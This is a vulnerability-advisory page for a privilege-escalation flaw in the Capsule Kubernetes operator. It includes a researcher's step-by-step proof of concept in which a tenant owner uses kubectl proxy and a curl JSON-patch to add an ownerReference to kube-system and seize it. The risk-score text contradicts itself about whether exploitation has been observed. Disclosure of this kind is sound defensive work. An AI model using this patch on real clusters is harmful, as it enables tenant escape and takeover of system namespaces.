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GHSA-mq69-4j5w-3qwp

HighCVSS 8.4 / 10
Published Aug 20, 2024·Last modified Aug 14, 2025
Affected Components(0)

No affected components available

Description

Attack Vector

Then, let me briefly explain the reasons for the errors mentioned above: 1. The 'kubectl edit' command was used to patch the namespace, but this operation requires both 'get' and 'patch' permissions, hence the error. One should use methods like 'curl' to directly send a PATCH request; 2. The webhook does not intercept patch operations on 'kube-system' because 'kube-system' does not have an ownerReference.

Below are my detailed reproduction steps

  1. Create a test cluster kind create cluster --image=kindest/node:v1.24.15 --name=k8s
  2. Install the capsule helm install capsule projectcapsule/capsule -n capsule-system --create-namespace
  3. Create a tenant
kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
  name: tenant1
spec:
  owners:
  - name: alice
    kind: User
EOF
  1. Create user alice
./create-user.sh alice tenant1 capsule.clastix.io
export KUBECONFIG=alice-tenant1.kubeconfig
  1. Patch kube-system (The first command is executed in the current shell, while the 2nd and 3rd commands require a different shell window because the current shell is being used as a proxy.)
kubectl proxy

export DATA='[{"op": "add", "path": "/metadata/ownerReferences", "value":[{"apiVersion": "capsule.clastix.io/v1beta2", "blockOwnerDeletion": true, "controller": true, "kind": "Tenant", "name": "tenant1", "uid": "ce3f2296-4aaa-45b0-a8fe-879d5096f193"}]}]'

curl http://localhost:8001/api/v1/namespaces/kube-system/ -X PATCH -d "$DATA" -H "Content-Type: application/json-patch+json"
  1. Check the result The kube-system is patched successfully. image

Summary

The tenant-owner can patch any arbitrary namespace that has not been taken over by a tenant (i.e., namespaces without the ownerReference field), thereby gaining control of that namespace.

I would like to express my apologies once again. I have always been sincere in my research and communication, and I did not intend to disturb you on purpose.

Risk Scores
Base Score
8.4

The vulnerability can be exploited over a local network, such as Wi-Fi. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
7.7

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.54%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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High severity
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